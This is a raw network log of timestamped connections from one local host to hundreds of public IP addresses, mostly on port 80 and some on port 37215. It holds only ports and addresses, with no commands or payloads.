Dec 3, 2024 21:30:50.284710884 CET	80	40592	141.173.180.9	192.168.2.23
Dec 3, 2024 21:30:50.284713984 CET	59010	80	192.168.2.23	48.161.172.34
Dec 3, 2024 21:30:50.284714937 CET	59010	80	192.168.2.23	109.193.63.236
Dec 3, 2024 21:30:50.284723997 CET	43128	80	192.168.2.23	4.17.178.247
Dec 3, 2024 21:30:50.284724951 CET	59010	80	192.168.2.23	69.168.205.226
Dec 3, 2024 21:30:50.284725904 CET	59010	80	192.168.2.23	57.204.115.26
Dec 3, 2024 21:30:50.284725904 CET	35140	80	192.168.2.23	167.75.81.162
Dec 3, 2024 21:30:50.284729004 CET	80	33458	92.42.91.229	192.168.2.23
Dec 3, 2024 21:30:50.284734964 CET	59010	80	192.168.2.23	136.170.109.60
Dec 3, 2024 21:30:50.284737110 CET	40592	80	192.168.2.23	141.173.180.9
Dec 3, 2024 21:30:50.284739017 CET	45200	37215	192.168.2.23	41.130.173.219
Dec 3, 2024 21:30:50.284756899 CET	59010	80	192.168.2.23	87.184.161.111
Dec 3, 2024 21:30:50.284764051 CET	33458	80	192.168.2.23	92.42.91.229
Dec 3, 2024 21:30:50.284782887 CET	59010	80	192.168.2.23	99.55.227.224
Dec 3, 2024 21:30:50.284792900 CET	59010	80	192.168.2.23	52.34.27.212
Dec 3, 2024 21:30:50.284796953 CET	59010	80	192.168.2.23	97.209.162.234
Dec 3, 2024 21:30:50.284799099 CET	59010	80	192.168.2.23	155.32.88.149
Dec 3, 2024 21:30:50.284799099 CET	59010	80	192.168.2.23	122.200.141.167
Dec 3, 2024 21:30:50.284800053 CET	59010	80	192.168.2.23	184.88.94.145
Dec 3, 2024 21:30:50.284806013 CET	59010	80	192.168.2.23	43.199.41.49
Dec 3, 2024 21:30:50.284809113 CET	59010	80	192.168.2.23	77.196.90.252
Dec 3, 2024 21:30:50.284813881 CET	59010	80	192.168.2.23	212.167.206.245
Dec 3, 2024 21:30:50.284816027 CET	59010	80	192.168.2.23	155.161.15.25
Dec 3, 2024 21:30:50.284832954 CET	59010	80	192.168.2.23	183.138.22.184
Dec 3, 2024 21:30:50.284836054 CET	59010	80	192.168.2.23	102.248.128.4
Dec 3, 2024 21:30:50.284836054 CET	59010	80	192.168.2.23	39.90.254.92
Dec 3, 2024 21:30:50.284838915 CET	59010	80	192.168.2.23	100.159.179.91
Dec 3, 2024 21:30:50.284846067 CET	59010	80	192.168.2.23	204.49.217.130
Dec 3, 2024 21:30:50.284846067 CET	59010	80	192.168.2.23	61.28.61.148
Dec 3, 2024 21:30:50.284864902 CET	80	39888	96.227.56.195	192.168.2.23
Dec 3, 2024 21:30:50.284877062 CET	80	45350	171.48.150.224	192.168.2.23
Dec 3, 2024 21:30:50.284885883 CET	80	45934	139.246.200.67	192.168.2.23
Dec 3, 2024 21:30:50.284887075 CET	59010	80	192.168.2.23	116.15.202.54
Dec 3, 2024 21:30:50.284888029 CET	49034	37215	192.168.2.23	156.125.207.114
Dec 3, 2024 21:30:50.284888983 CET	59010	80	192.168.2.23	62.120.221.157
Dec 3, 2024 21:30:50.284889936 CET	59010	80	192.168.2.23	79.75.105.246
Dec 3, 2024 21:30:50.284897089 CET	59010	80	192.168.2.23	200.120.191.185
Dec 3, 2024 21:30:50.284899950 CET	59010	80	192.168.2.23	5.46.240.163
Dec 3, 2024 21:30:50.284899950 CET	37215	45868	156.79.21.228	192.168.2.23
Dec 3, 2024 21:30:50.284910917 CET	80	37822	25.253.247.243	192.168.2.23
Dec 3, 2024 21:30:50.284918070 CET	59010	80	192.168.2.23	136.223.217.223
Dec 3, 2024 21:30:50.284918070 CET	59010	80	192.168.2.23	150.16.210.155
Dec 3, 2024 21:30:50.284918070 CET	59010	80	192.168.2.23	9.8.148.71
Dec 3, 2024 21:30:50.284919977 CET	59010	80	192.168.2.23	193.103.189.103
Dec 3, 2024 21:30:50.284921885 CET	45350	80	192.168.2.23	171.48.150.224
Dec 3, 2024 21:30:50.284923077 CET	59010	80	192.168.2.23	196.97.139.44
Dec 3, 2024 21:30:50.284923077 CET	39888	80	192.168.2.23	96.227.56.195
Dec 3, 2024 21:30:50.284923077 CET	45934	80	192.168.2.23	139.246.200.67
Dec 3, 2024 21:30:50.284928083 CET	59010	80	192.168.2.23	124.243.210.26
Dec 3, 2024 21:30:50.284938097 CET	45868	37215	192.168.2.23	156.79.21.228
Dec 3, 2024 21:30:50.284943104 CET	37822	80	192.168.2.23	25.253.247.243
Dec 3, 2024 21:30:50.284949064 CET	59010	80	192.168.2.23	165.213.243.97
Dec 3, 2024 21:30:50.284950018 CET	59010	80	192.168.2.23	88.73.40.203
Dec 3, 2024 21:30:50.284962893 CET	59010	80	192.168.2.23	195.250.105.155
Dec 3, 2024 21:30:50.284987926 CET	59010	80	192.168.2.23	145.201.235.105
Dec 3, 2024 21:30:50.284992933 CET	59010	80	192.168.2.23	120.239.81.161
Dec 3, 2024 21:30:50.284995079 CET	59010	80	192.168.2.23	71.225.47.52
Dec 3, 2024 21:30:50.284995079 CET	59010	80	192.168.2.23	47.141.216.173
Dec 3, 2024 21:30:50.285006046 CET	59010	80	192.168.2.23	188.170.240.225
Dec 3, 2024 21:30:50.285010099 CET	59010	80	192.168.2.23	65.57.78.241
Dec 3, 2024 21:30:50.285012960 CET	59010	80	192.168.2.23	78.117.191.90
Dec 3, 2024 21:30:50.285021067 CET	59010	80	192.168.2.23	164.134.255.49
Dec 3, 2024 21:30:50.285027981 CET	59010	80	192.168.2.23	104.58.224.247
Dec 3, 2024 21:30:50.285032034 CET	59010	80	192.168.2.23	140.158.58.83
Dec 3, 2024 21:30:50.285041094 CET	59010	80	192.168.2.23	59.94.52.165
Dec 3, 2024 21:30:50.285064936 CET	59010	80	192.168.2.23	212.72.192.121
Dec 3, 2024 21:30:50.285079956 CET	59010	80	192.168.2.23	163.24.29.255
Dec 3, 2024 21:30:50.285083055 CET	59010	80	192.168.2.23	2.70.213.36
Dec 3, 2024 21:30:50.285084009 CET	59010	80	192.168.2.23	151.13.231.49
Dec 3, 2024 21:30:50.285090923 CET	59010	80	192.168.2.23	216.12.131.180
Dec 3, 2024 21:30:50.285099030 CET	59010	80	192.168.2.23	52.50.76.105
Dec 3, 2024 21:30:50.285103083 CET	59010	80	192.168.2.23	160.7.116.22
Dec 3, 2024 21:30:50.285106897 CET	59010	80	192.168.2.23	75.162.249.243
Dec 3, 2024 21:30:50.285119057 CET	59010	80	192.168.2.23	44.81.45.245
Dec 3, 2024 21:30:50.285119057 CET	59010	80	192.168.2.23	195.191.27.223
Dec 3, 2024 21:30:50.285125971 CET	59010	80	192.168.2.23	199.194.158.147
Dec 3, 2024 21:30:50.285132885 CET	59010	80	192.168.2.23	155.36.177.5
Dec 3, 2024 21:30:50.285132885 CET	80	39552	32.227.59.119	192.168.2.23
Dec 3, 2024 21:30:50.285145044 CET	37215	35892	197.116.233.17	192.168.2.23
Dec 3, 2024 21:30:50.285145044 CET	59010	80	192.168.2.23	8.99.109.70
Dec 3, 2024 21:30:50.285154104 CET	37215	38022	156.223.49.69	192.168.2.23
Dec 3, 2024 21:30:50.285164118 CET	80	47556	216.131.217.108	192.168.2.23
Dec 3, 2024 21:30:50.285171986 CET	35892	37215	192.168.2.23	197.116.233.17
Dec 3, 2024 21:30:50.285171986 CET	39552	80	192.168.2.23	32.227.59.119
Dec 3, 2024 21:30:50.285175085 CET	80	51182	46.19.30.11	192.168.2.23
Dec 3, 2024 21:30:50.285187006 CET	80	47072	136.13.75.65	192.168.2.23
Dec 3, 2024 21:30:50.285191059 CET	38022	37215	192.168.2.23	156.223.49.69
Dec 3, 2024 21:30:50.285198927 CET	47556	80	192.168.2.23	216.131.217.108
Dec 3, 2024 21:30:50.285214901 CET	59010	80	192.168.2.23	47.107.92.124
Dec 3, 2024 21:30:50.285214901 CET	51182	80	192.168.2.23	46.19.30.11
Dec 3, 2024 21:30:50.285218954 CET	59010	80	192.168.2.23	146.214.251.23
Dec 3, 2024 21:30:50.285218954 CET	59010	80	192.168.2.23	46.180.166.126
Dec 3, 2024 21:30:50.285221100 CET	59010	80	192.168.2.23	85.183.209.71
Dec 3, 2024 21:30:50.285222054 CET	59010	80	192.168.2.23	104.181.207.160
Dec 3, 2024 21:30:50.285232067 CET	47072	80	192.168.2.23	136.13.75.65
Dec 3, 2024 21:30:50.285232067 CET	59010	80	192.168.2.23	120.19.115.115
Dec 3, 2024 21:30:50.285234928 CET	59010	80	192.168.2.23	75.85.207.60
Dec 3, 2024 21:30:50.285234928 CET	59010	80	192.168.2.23	173.120.133.203
Dec 3, 2024 21:30:50.285235882 CET	59010	80	192.168.2.23	86.158.143.34
Dec 3, 2024 21:30:50.285245895 CET	59010	80	192.168.2.23	163.126.147.186
Dec 3, 2024 21:30:50.285245895 CET	59010	80	192.168.2.23	136.0.161.171
Dec 3, 2024 21:30:50.285250902 CET	59010	80	192.168.2.23	161.72.51.174
Dec 3, 2024 21:30:50.285254002 CET	59010	80	192.168.2.23	210.249.163.20
Dec 3, 2024 21:30:50.285264969 CET	59010	80	192.168.2.23	212.249.177.128
Dec 3, 2024 21:30:50.285264969 CET	59010	80	192.168.2.23	4.169.76.148
Dec 3, 2024 21:30:50.285278082 CET	59010	80	192.168.2.23	99.104.138.175
Dec 3, 2024 21:30:50.285288095 CET	59010	80	192.168.2.23	24.221.219.33
Dec 3, 2024 21:30:50.285289049 CET	59010	80	192.168.2.23	186.203.160.229
Dec 3, 2024 21:30:50.285294056 CET	59010	80	192.168.2.23	70.41.31.207
Dec 3, 2024 21:30:50.285325050 CET	59010	80	192.168.2.23	111.52.101.168
Dec 3, 2024 21:30:50.285326004 CET	59010	80	192.168.2.23	40.27.236.118
Dec 3, 2024 21:30:50.285332918 CET	59010	80	192.168.2.23	134.119.5.195
Dec 3, 2024 21:30:50.285341024 CET	59010	80	192.168.2.23	164.46.112.205
Dec 3, 2024 21:30:50.285343885 CET	59010	80	192.168.2.23	54.147.16.207
Dec 3, 2024 21:30:50.285346985 CET	59010	80	192.168.2.23	51.165.172.151
Dec 3, 2024 21:30:50.285353899 CET	59010	80	192.168.2.23	8.134.61.175
Dec 3, 2024 21:30:50.285367012 CET	59010	80	192.168.2.23	101.189.77.54
Dec 3, 2024 21:30:50.285368919 CET	59010	80	192.168.2.23	2.77.49.15
Dec 3, 2024 21:30:50.285368919 CET	59010	80	192.168.2.23	124.56.103.3
Dec 3, 2024 21:30:50.285379887 CET	59010	80	192.168.2.23	179.10.100.73
Dec 3, 2024 21:30:50.285382032 CET	59010	80	192.168.2.23	168.47.159.77
Dec 3, 2024 21:30:50.285392046 CET	59010	80	192.168.2.23	202.153.94.132
Dec 3, 2024 21:30:50.285403967 CET	38022	37215	192.168.2.23	156.223.49.69
Dec 3, 2024 21:30:50.285406113 CET	59010	80	192.168.2.23	18.121.120.234
Dec 3, 2024 21:30:50.285406113 CET	59010	80	192.168.2.23	119.222.145.213
Dec 3, 2024 21:30:50.285413027 CET	80	54830	120.196.61.187	192.168.2.23
Dec 3, 2024 21:30:50.285413980 CET	38022	37215	192.168.2.23	156.223.49.69
Dec 3, 2024 21:30:50.285414934 CET	59010	80	192.168.2.23	159.18.170.109
Dec 3, 2024 21:30:50.285414934 CET	59010	80	192.168.2.23	71.7.213.21
Dec 3, 2024 21:30:50.285415888 CET	59010	80	192.168.2.23	219.177.190.54
Dec 3, 2024 21:30:50.285415888 CET	59010	80	192.168.2.23	195.108.68.105
Dec 3, 2024 21:30:50.285415888 CET	59010	80	192.168.2.23	176.83.128.250
Dec 3, 2024 21:30:50.285415888 CET	59010	80	192.168.2.23	76.169.77.163
Dec 3, 2024 21:30:50.285423040 CET	59010	80	192.168.2.23	109.237.240.136
Dec 3, 2024 21:30:50.285423040 CET	80	57976	199.155.1.164	192.168.2.23
Dec 3, 2024 21:30:50.285432100 CET	80	60286	138.250.81.210	192.168.2.23
Dec 3, 2024 21:30:50.285437107 CET	59010	80	192.168.2.23	171.50.104.89
Dec 3, 2024 21:30:50.285442114 CET	80	58476	217.117.141.188	192.168.2.23
Dec 3, 2024 21:30:50.285443068 CET	59010	80	192.168.2.23	98.224.52.54
Dec 3, 2024 21:30:50.285449982 CET	59010	80	192.168.2.23	205.186.106.206
Dec 3, 2024 21:30:50.285449982 CET	57976	80	192.168.2.23	199.155.1.164
Dec 3, 2024 21:30:50.285449982 CET	54830	80	192.168.2.23	120.196.61.187
Dec 3, 2024 21:30:50.285453081 CET	80	34690	142.202.33.132	192.168.2.23
Dec 3, 2024 21:30:50.285459042 CET	60286	80	192.168.2.23	138.250.81.210
Dec 3, 2024 21:30:50.285461903 CET	80	38100	42.199.59.6	192.168.2.23
Dec 3, 2024 21:30:50.285465002 CET	59010	80	192.168.2.23	136.251.188.232
Dec 3, 2024 21:30:50.285466909 CET	80	41664	24.242.230.192	192.168.2.23
Dec 3, 2024 21:30:50.285474062 CET	59010	80	192.168.2.23	102.110.5.220
Dec 3, 2024 21:30:50.285482883 CET	58476	80	192.168.2.23	217.117.141.188
Dec 3, 2024 21:30:50.285495043 CET	59010	80	192.168.2.23	146.216.65.123
Dec 3, 2024 21:30:50.285495043 CET	34690	80	192.168.2.23	142.202.33.132
Dec 3, 2024 21:30:50.285495043 CET	38100	80	192.168.2.23	42.199.59.6
Dec 3, 2024 21:30:50.285502911 CET	59010	80	192.168.2.23	139.191.80.84
Dec 3, 2024 21:30:50.285511017 CET	41664	80	192.168.2.23	24.242.230.192
Dec 3, 2024 21:30:50.285511017 CET	59010	80	192.168.2.23	49.124.241.219
Dec 3, 2024 21:30:50.285511017 CET	59010	80	192.168.2.23	106.219.66.170
Dec 3, 2024 21:30:50.285516024 CET	59010	80	192.168.2.23	177.239.215.240
Dec 3, 2024 21:30:50.285516024 CET	59010	80	192.168.2.23	221.155.234.100
Dec 3, 2024 21:30:50.285521984 CET	59010	80	192.168.2.23	152.21.214.95
Dec 3, 2024 21:30:50.285521984 CET	59010	80	192.168.2.23	209.255.138.47
Dec 3, 2024 21:30:50.285531044 CET	59010	80	192.168.2.23	39.173.68.92
Dec 3, 2024 21:30:50.285532951 CET	59010	80	192.168.2.23	131.58.112.78
Dec 3, 2024 21:30:50.285548925 CET	59010	80	192.168.2.23	182.135.101.6
Dec 3, 2024 21:30:50.285552025 CET	59010	80	192.168.2.23	138.33.57.99
Dec 3, 2024 21:30:50.285554886 CET	59010	80	192.168.2.23	17.104.152.94
Dec 3, 2024 21:30:50.285554886 CET	59010	80	192.168.2.23	201.193.72.30
Dec 3, 2024 21:30:50.285558939 CET	59010	80	192.168.2.23	101.159.66.191
Dec 3, 2024 21:30:50.285562992 CET	59010	80	192.168.2.23	49.198.192.56
Dec 3, 2024 21:30:50.285562038 CET	59010	80	192.168.2.23	173.219.92.112
Dec 3, 2024 21:30:50.285577059 CET	59010	80	192.168.2.23	18.82.207.130
Dec 3, 2024 21:30:50.285582066 CET	59010	80	192.168.2.23	14.118.74.4
Dec 3, 2024 21:30:50.285605907 CET	59010	80	192.168.2.23	20.45.145.107
Dec 3, 2024 21:30:50.285607100 CET	59010	80	192.168.2.23	31.114.110.135
Dec 3, 2024 21:30:50.285614014 CET	59010	80	192.168.2.23	32.207.62.76
Dec 3, 2024 21:30:50.285617113 CET	59010	80	192.168.2.23	181.113.213.123
Dec 3, 2024 21:30:50.285623074 CET	59010	80	192.168.2.23	43.150.206.33
Dec 3, 2024 21:30:50.285624027 CET	59010	80	192.168.2.23	68.124.28.216
Dec 3, 2024 21:30:50.285625935 CET	59010	80	192.168.2.23	73.13.252.53
Dec 3, 2024 21:30:50.285629034 CET	59010	80	192.168.2.23	86.147.112.67
Dec 3, 2024 21:30:50.285626888 CET	59010	80	192.168.2.23	48.237.229.21
Dec 3, 2024 21:30:50.285633087 CET	59010	80	192.168.2.23	49.223.39.252
Dec 3, 2024 21:30:50.285635948 CET	59010	80	192.168.2.23	43.233.247.104
Dec 3, 2024 21:30:50.285635948 CET	59010	80	192.168.2.23	157.130.53.17
Dec 3, 2024 21:30:50.285640955 CET	59010	80	192.168.2.23	75.37.148.142
Dec 3, 2024 21:30:50.285640955 CET	59010	80	192.168.2.23	114.216.34.10
Dec 3, 2024 21:30:50.285640955 CET	59010	80	192.168.2.23	101.54.170.8
Dec 3, 2024 21:30:50.285648108 CET	59010	80	192.168.2.23	106.237.38.116
Dec 3, 2024 21:30:50.285650015 CET	59010	80	192.168.2.23	221.69.178.219
Dec 3, 2024 21:30:50.285655975 CET	59010	80	192.168.2.23	141.80.24.58
Dec 3, 2024 21:30:50.285669088 CET	59010	80	192.168.2.23	86.71.58.105
Dec 3, 2024 21:30:50.285669088 CET	59010	80	192.168.2.23	61.30.247.137
Dec 3, 2024 21:30:50.285672903 CET	59010	80	192.168.2.23	186.111.140.96
Dec 3, 2024 21:30:50.285674095 CET	59010	80	192.168.2.23	52.208.97.189
Dec 3, 2024 21:30:50.285712004 CET	59010	80	192.168.2.23	84.185.134.138
Dec 3, 2024 21:30:50.285713911 CET	59010	80	192.168.2.23	1.82.232.4
Dec 3, 2024 21:30:50.285713911 CET	38224	37215	192.168.2.23	156.223.49.69
Dec 3, 2024 21:30:50.285713911 CET	59010	80	192.168.2.23	132.17.45.131
Dec 3, 2024 21:30:50.285720110 CET	59010	80	192.168.2.23	53.29.80.235
Dec 3, 2024 21:30:50.285727978 CET	59010	80	192.168.2.23	32.23.43.216
Dec 3, 2024 21:30:50.285728931 CET	59010	80	192.168.2.23	54.197.85.52
Dec 3, 2024 21:30:50.285728931 CET	59010	80	192.168.2.23	211.88.218.166
Dec 3, 2024 21:30:50.285729885 CET	59010	80	192.168.2.23	46.83.200.149
Dec 3, 2024 21:30:50.285729885 CET	59010	80	192.168.2.23	156.94.26.214
Dec 3, 2024 21:30:50.285729885 CET	59010	80	192.168.2.23	191.221.19.27
Dec 3, 2024 21:30:50.285729885 CET	59010	80	192.168.2.23	67.172.219.129
Dec 3, 2024 21:30:50.285729885 CET	59010	80	192.168.2.23	211.235.121.71
Dec 3, 2024 21:30:50.285729885 CET	59010	80	192.168.2.23	171.161.161.215
Dec 3, 2024 21:30:50.285739899 CET	59010	80	192.168.2.23	101.65.230.219
Dec 3, 2024 21:30:50.285742044 CET	59010	80	192.168.2.23	113.47.90.175
Dec 3, 2024 21:30:50.285748959 CET	59010	80	192.168.2.23	114.183.239.199
Dec 3, 2024 21:30:50.285759926 CET	59010	80	192.168.2.23	171.220.226.179
Dec 3, 2024 21:30:50.285759926 CET	59010	80	192.168.2.23	150.209.37.126
Dec 3, 2024 21:30:50.285774946 CET	59010	80	192.168.2.23	144.230.3.252
Dec 3, 2024 21:30:50.285774946 CET	59010	80	192.168.2.23	124.246.41.132
Dec 3, 2024 21:30:50.285779953 CET	59010	80	192.168.2.23	201.120.64.144
Dec 3, 2024 21:30:50.285779953 CET	59010	80	192.168.2.23	103.78.122.53
Dec 3, 2024 21:30:50.285784006 CET	59010	80	192.168.2.23	188.187.137.179
Dec 3, 2024 21:30:50.285794973 CET	59010	80	192.168.2.23	101.215.123.92
Dec 3, 2024 21:30:50.285797119 CET	59010	80	192.168.2.23	9.88.33.118
Dec 3, 2024 21:30:50.285825014 CET	59010	80	192.168.2.23	144.45.114.72
Dec 3, 2024 21:30:50.285829067 CET	59010	80	192.168.2.23	219.127.102.117
Dec 3, 2024 21:30:50.285830021 CET	59010	80	192.168.2.23	133.196.129.230
Dec 3, 2024 21:30:50.285845041 CET	59010	80	192.168.2.23	199.197.108.2
Dec 3, 2024 21:30:50.285845995 CET	59010	80	192.168.2.23	217.205.122.230
Dec 3, 2024 21:30:50.285846949 CET	59010	80	192.168.2.23	117.241.51.144
Dec 3, 2024 21:30:50.285851002 CET	59010	80	192.168.2.23	47.30.158.196
Dec 3, 2024 21:30:50.285851002 CET	59010	80	192.168.2.23	13.235.230.128
Dec 3, 2024 21:30:50.285851002 CET	59010	80	192.168.2.23	206.171.216.198
Dec 3, 2024 21:30:50.285856962 CET	59010	80	192.168.2.23	211.102.19.210
Dec 3, 2024 21:30:50.285876036 CET	59010	80	192.168.2.23	50.189.6.38
Dec 3, 2024 21:30:50.285881042 CET	59010	80	192.168.2.23	79.151.90.218
Dec 3, 2024 21:30:50.285881042 CET	59010	80	192.168.2.23	180.144.181.54
Dec 3, 2024 21:30:50.285881042 CET	59010	80	192.168.2.23	82.35.188.25
Dec 3, 2024 21:30:50.285885096 CET	59010	80	192.168.2.23	163.88.122.146
Dec 3, 2024 21:30:50.285886049 CET	59010	80	192.168.2.23	96.145.128.236
Dec 3, 2024 21:30:50.285918951 CET	59010	80	192.168.2.23	34.32.251.80
Dec 3, 2024 21:30:50.285918951 CET	59010	80	192.168.2.23	76.53.139.164
Dec 3, 2024 21:30:50.285923004 CET	59010	80	192.168.2.23	186.130.104.88
Dec 3, 2024 21:30:50.285923004 CET	59010	80	192.168.2.23	136.250.233.182
Dec 3, 2024 21:30:50.285923004 CET	59010	80	192.168.2.23	180.27.28.36
Dec 3, 2024 21:30:50.285923004 CET	59010	80	192.168.2.23	114.75.165.195
Dec 3, 2024 21:30:50.285924911 CET	59010	80	192.168.2.23	145.198.36.27
Dec 3, 2024 21:30:50.285942078 CET	59010	80	192.168.2.23	64.145.241.70
Dec 3, 2024 21:30:50.285942078 CET	59010	80	192.168.2.23	220.225.204.169
Dec 3, 2024 21:30:50.285942078 CET	59010	80	192.168.2.23	9.43.129.155
Dec 3, 2024 21:30:50.285948038 CET	59010	80	192.168.2.23	138.53.68.203
Dec 3, 2024 21:30:50.285948992 CET	59010	80	192.168.2.23	27.220.171.99
Dec 3, 2024 21:30:50.285974026 CET	59010	80	192.168.2.23	138.222.174.233
Dec 3, 2024 21:30:50.285974026 CET	59010	80	192.168.2.23	187.136.241.23
Dec 3, 2024 21:30:50.285969973 CET	59010	80	192.168.2.23	146.189.8.38
Dec 3, 2024 21:30:50.285978079 CET	59010	80	192.168.2.23	88.37.164.152
Dec 3, 2024 21:30:50.285976887 CET	59010	80	192.168.2.23	150.73.163.205
Dec 3, 2024 21:30:50.285978079 CET	59010	80	192.168.2.23	95.54.131.146
Dec 3, 2024 21:30:50.285994053 CET	59010	80	192.168.2.23	149.137.182.177
Dec 3, 2024 21:30:50.285995007 CET	59010	80	192.168.2.23	63.168.253.107
Dec 3, 2024 21:30:50.286005974 CET	59010	80	192.168.2.23	17.100.15.136
Dec 3, 2024 21:30:50.286005974 CET	59010	80	192.168.2.23	73.150.208.87
Dec 3, 2024 21:30:50.286010027 CET	59010	80	192.168.2.23	145.1.201.11
Dec 3, 2024 21:30:50.286014080 CET	59010	80	192.168.2.23	62.45.66.240
Dec 3, 2024 21:30:50.286017895 CET	59010	80	192.168.2.23	48.56.108.229
Dec 3, 2024 21:30:50.286022902 CET	59010	80	192.168.2.23	213.169.68.187
Dec 3, 2024 21:30:50.286034107 CET	59010	80	192.168.2.23	195.135.117.202
Dec 3, 2024 21:30:50.286039114 CET	59010	80	192.168.2.23	155.220.206.214
Dec 3, 2024 21:30:50.286051035 CET	59010	80	192.168.2.23	107.103.11.212
Dec 3, 2024 21:30:50.286052942 CET	59010	80	192.168.2.23	159.206.127.46
Dec 3, 2024 21:30:50.286062956 CET	59010	80	192.168.2.23	44.69.27.9
Dec 3, 2024 21:30:50.286067009 CET	59010	80	192.168.2.23	113.6.154.248
Dec 3, 2024 21:30:50.286070108 CET	59010	80	192.168.2.23	116.78.174.143
Dec 3, 2024 21:30:50.286075115 CET	59010	80	192.168.2.23	148.121.103.93
Dec 3, 2024 21:30:50.286077023 CET	59010	80	192.168.2.23	194.150.86.124
Dec 3, 2024 21:30:50.286102057 CET	59010	80	192.168.2.23	162.46.182.128
Dec 3, 2024 21:30:50.286109924 CET	59010	80	192.168.2.23	119.123.212.99
Dec 3, 2024 21:30:50.286122084 CET	59010	80	192.168.2.23	159.52.239.25
Dec 3, 2024 21:30:50.286123037 CET	45200	37215	192.168.2.23	41.130.173.219
Dec 3, 2024 21:30:50.286123037 CET	45200	37215	192.168.2.23	41.130.173.219
Dec 3, 2024 21:30:50.286124945 CET	59010	80	192.168.2.23	79.216.83.247
Dec 3, 2024 21:30:50.286127090 CET	59010	80	192.168.2.23	13.70.40.20
Dec 3, 2024 21:30:50.286128998 CET	59010	80	192.168.2.23	136.182.5.140
Dec 3, 2024 21:30:50.286134958 CET	59010	80	192.168.2.23	95.12.223.176
Dec 3, 2024 21:30:50.286143064 CET	59010	80	192.168.2.23	166.104.208.12
Dec 3, 2024 21:30:50.286143064 CET	59010	80	192.168.2.23	78.192.160.140
Dec 3, 2024 21:30:50.286144018 CET	59010	80	192.168.2.23	165.242.68.175
Dec 3, 2024 21:30:50.286149025 CET	59010	80	192.168.2.23	19.58.90.77
Dec 3, 2024 21:30:50.286149979 CET	59010	80	192.168.2.23	74.1.234.141
Dec 3, 2024 21:30:50.286153078 CET	59010	80	192.168.2.23	14.183.234.114
Dec 3, 2024 21:30:50.286153078 CET	59010	80	192.168.2.23	42.226.221.184
Dec 3, 2024 21:30:50.286159039 CET	59010	80	192.168.2.23	200.131.155.242
Dec 3, 2024 21:30:50.286159039 CET	59010	80	192.168.2.23	23.191.244.201
Dec 3, 2024 21:30:50.286164999 CET	59010	80	192.168.2.23	174.71.210.249
Dec 3, 2024 21:30:50.286165953 CET	59010	80	192.168.2.23	25.98.218.141
Dec 3, 2024 21:30:50.286165953 CET	59010	80	192.168.2.23	99.47.218.114
Dec 3, 2024 21:30:50.286168098 CET	59010	80	192.168.2.23	128.94.103.198
Dec 3, 2024 21:30:50.286179066 CET	59010	80	192.168.2.23	204.174.210.170
Dec 3, 2024 21:30:50.286183119 CET	59010	80	192.168.2.23	53.176.114.231
Dec 3, 2024 21:30:50.286191940 CET	59010	80	192.168.2.23	112.73.114.152
Dec 3, 2024 21:30:50.286195993 CET	59010	80	192.168.2.23	108.188.120.124
Dec 3, 2024 21:30:50.286201000 CET	59010	80	192.168.2.23	158.238.55.1
Dec 3, 2024 21:30:50.286236048 CET	59010	80	192.168.2.23	123.211.165.172
Dec 3, 2024 21:30:50.286241055 CET	59010	80	192.168.2.23	135.24.44.146
Dec 3, 2024 21:30:50.286241055 CET	59010	80	192.168.2.23	37.179.238.198
Dec 3, 2024 21:30:50.286242008 CET	59010	80	192.168.2.23	79.129.138.165
Dec 3, 2024 21:30:50.286251068 CET	59010	80	192.168.2.23	138.95.192.222
Dec 3, 2024 21:30:50.286252022 CET	59010	80	192.168.2.23	190.31.102.152
Dec 3, 2024 21:30:50.286253929 CET	59010	80	192.168.2.23	115.190.72.150
Dec 3, 2024 21:30:50.286259890 CET	59010	80	192.168.2.23	1.69.127.232
Dec 3, 2024 21:30:50.286262035 CET	59010	80	192.168.2.23	87.229.144.229
Dec 3, 2024 21:30:50.286262989 CET	59010	80	192.168.2.23	42.103.74.188
Dec 3, 2024 21:30:50.286263943 CET	59010	80	192.168.2.23	51.112.221.72
Dec 3, 2024 21:30:50.286271095 CET	59010	80	192.168.2.23	128.143.238.255
Dec 3, 2024 21:30:50.286286116 CET	59010	80	192.168.2.23	134.137.90.223
Dec 3, 2024 21:30:50.286286116 CET	59010	80	192.168.2.23	212.39.240.2
Dec 3, 2024 21:30:50.286287069 CET	59010	80	192.168.2.23	91.40.120.172
Dec 3, 2024 21:30:50.286302090 CET	59010	80	192.168.2.23	184.164.236.3
Dec 3, 2024 21:30:50.286302090 CET	59010	80	192.168.2.23	17.97.165.10
Dec 3, 2024 21:30:50.286302090 CET	59010	80	192.168.2.23	39.96.186.84
Dec 3, 2024 21:30:50.286302090 CET	59010	80	192.168.2.23	91.117.12.135
Dec 3, 2024 21:30:50.286308050 CET	59010	80	192.168.2.23	4.206.228.156
Dec 3, 2024 21:30:50.286312103 CET	59010	80	192.168.2.23	221.199.170.223
Dec 3, 2024 21:30:50.286318064 CET	59010	80	192.168.2.23	87.32.246.191
Dec 3, 2024 21:30:50.286336899 CET	59010	80	192.168.2.23	49.93.36.75
Dec 3, 2024 21:30:50.286339045 CET	59010	80	192.168.2.23	107.75.17.130
Dec 3, 2024 21:30:50.286354065 CET	59010	80	192.168.2.23	99.166.184.59
Dec 3, 2024 21:30:50.286355972 CET	59010	80	192.168.2.23	109.65.117.230
Dec 3, 2024 21:30:50.286360979 CET	59010	80	192.168.2.23	54.179.29.114
Dec 3, 2024 21:30:50.286365986 CET	59010	80	192.168.2.23	204.114.189.104
Dec 3, 2024 21:30:50.286365986 CET	59010	80	192.168.2.23	59.148.213.182
Dec 3, 2024 21:30:50.286365986 CET	59010	80	192.168.2.23	174.196.207.225
Dec 3, 2024 21:30:50.286375999 CET	59010	80	192.168.2.23	100.38.135.162
Dec 3, 2024 21:30:50.286379099 CET	59010	80	192.168.2.23	154.88.16.144
Dec 3, 2024 21:30:50.286392927 CET	59010	80	192.168.2.23	129.160.58.82
Dec 3, 2024 21:30:50.286393881 CET	59010	80	192.168.2.23	91.115.182.44
Dec 3, 2024 21:30:50.286392927 CET	59010	80	192.168.2.23	17.68.188.114
Dec 3, 2024 21:30:50.286393881 CET	59010	80	192.168.2.23	50.43.170.148
Dec 3, 2024 21:30:50.286393881 CET	59010	80	192.168.2.23	86.4.136.224
Dec 3, 2024 21:30:50.286403894 CET	59010	80	192.168.2.23	19.142.195.167
Dec 3, 2024 21:30:50.286431074 CET	45402	37215	192.168.2.23	41.130.173.219
Dec 3, 2024 21:30:50.286431074 CET	59010	80	192.168.2.23	108.233.250.87
Dec 3, 2024 21:30:50.286437035 CET	59010	80	192.168.2.23	197.107.3.32
Dec 3, 2024 21:30:50.286437035 CET	59010	80	192.168.2.23	79.61.19.82
Dec 3, 2024 21:30:50.286441088 CET	59010	80	192.168.2.23	222.160.208.231
